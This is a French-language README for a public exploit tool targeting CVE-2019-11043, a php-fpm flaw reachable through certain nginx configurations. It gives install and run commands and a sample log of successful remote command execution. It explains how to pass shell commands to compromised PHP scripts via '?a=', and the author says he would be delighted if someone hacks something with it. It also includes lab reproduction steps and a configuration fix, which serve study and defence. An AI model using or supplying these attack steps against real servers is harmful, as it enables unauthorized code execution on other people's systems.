
Exploit pour la CVE-2019-11043
Il s'agit d'un exploit pour un bug de php-fpm (CVE-2019-11043). Dans certaines configurations nginx + php-fpm, il est possible de déclencher le bug depuis l'extérieur. Cela signifie qu'un utilisateur web peut obtenir l'exécution de code si vous avez une configuration vulnérable (voir ci-dessous).
Alors que nous étions trop paresseux pour écrire une analyse, Orange Tsai a publié une analyse parfaite sur son blog. Chapeau à lui.
Mes slides de ZeroNights 2019 sont disponibles.
Si un serveur web exécute nginx + php-fpm et que nginx a une configuration comme
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
laquelle ne comporte également aucune vérification d'existence des scripts (comme try_files), alors vous pouvez probablement le pirater avec cet exploit.
location ~ [^/]\.php(/|$) doit être transféré à php-fpm (peut-être que l'expression régulière peut être plus stricte, voir #1).PATH_INFO via l'instruction fastcgi_param PATH_INFO $fastcgi_path_info;. De plus, SCRIPT_FILENAME doit être défini en utilisant fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (il peut y avoir un chemin constant au lieu de $document_root). Au début, nous pensions que ces instructions étaient toujours présentes dans le fichier fastcgi_params, mais ce n'est pas vrai.PATH_INFO sur une valeur vide. Cet exploit suppose que la directive fastcgi_split_path_info est présente et contient une expression régulière commençant par ^ et se terminant par $, il essaie donc de casser l'expression régulière avec un caractère de nouvelle ligne.Il y a longtemps, php-fpm ne limitait pas les extensions des scripts, ce qui signifie qu'un chemin comme /avatar.png/some-fake-shit.php pouvait exécuter avatar.png comme script PHP. Ce problème a été corrigé vers 2010.
L'actuel ne nécessite pas d'upload de fichier, fonctionne sur les versions les plus récentes (jusqu'à ce que le correctif soit publié) et, surtout, l'exploit est beaucoup plus cool.
Installez-le en utilisant
go get github.com/neex/phuip-fpizdam
Si vous obtenez d'étranges erreurs de compilation, assurez-vous d'utiliser go >= 1.13. Exécutez le programme avec phuip-fpizdam [url] (en supposant que $GOPATH/bin est dans votre $PATH, sinon précisez le chemin complet vers le binaire). Une bonne sortie ressemble à ceci :
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Après cela, vous pouvez commencer à ajouter ?a=<your command> à tous les scripts PHP (vous aurez peut-être besoin de plusieurs essais).
Alternativement, vous pouvez utiliser une image docker pour exécuter l'exploit :
docker run --rm ypereirareis/cve-2019-11043 [url]
Si vous voulez reproduire le problème ou jouer avec l'exploit localement via Docker, procédez comme suit :
reproducer.docker build -t reproduce-cve-2019-11043 .. Cela prend beaucoup de temps car il clone en interne le dépôt php et le compile depuis les sources. Cependant, ce sera plus facile ainsi si vous voulez déboguer l'exploit. La révision compilée est celle qui précède immédiatement le correctif.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= au script : http://127.0.0.1:8080/script.php?a=id. Essayez plusieurs fois car seuls certains workers php-fpm sont infectés.Si vous voulez reproduire le problème ou jouer avec l'exploit localement via LXD, procédez comme suit :
vulnerable et attacker. Vous pouvez utiliser l'image de conteneur ubuntu:18.04 pour les deux conteneurs.vulnerable, installez nginx et php-fpm. Configurez le bloc serveur comme cette configuration. Créez un fichier vide /var/www/html/index.php.attacker, installez le langage Go (sudo snap install go --classic), clonez ce dépôt et exécutez go build dans le répertoire du dépôt../phuip-fpizdam http://vulnerable.lxd/index.php. Essayez plusieurs types afin d'infecter tous les workers php-fpm.Pour des instructions plus détaillées, voir Tester CVE-2019-11043 (vulnérabilité de sécurité php-fpm) avec les conteneurs système LXD.
Le buffer underflow dans php-fpm est présent dans PHP version 5. Cependant, cet exploit utilise une optimisation employée pour stocker les variables FastCGI, _fcgi_data_seg. Cette optimisation n'est présente que dans php 7, donc cet exploit particulier ne fonctionne qu'avec php 7. Il pourrait exister une autre technique d'exploitation qui fonctionne avec php 5.
L'anomalie originale a été découverte par d90pwn pendant le Real World CTF. La cause racine (root clause) a été trouvée par moi (Emil Lerner), ainsi que la manière de définir les options de php.ini. L'ensemble final des options php.ini a été trouvé par beched.
Cet exploit est distribué sous les termes de la licence MIT.
Abstenez-vous de causer des dégâts avec cet exploit. Mais si vous piratez vraiment quelque chose avec ce truc, je serai ravi.
PATH_INFO est défini après REQUEST_URI dans la configuration.try_files $uri =404 ou if (-f $uri). Si Nginx abandonne les requêtes vers des scripts inexistants avant le transfert FastCGI, nos requêtes n'atteignent jamais php-fpm. Ajouter cette vérification est aussi le moyen le plus simple de corriger.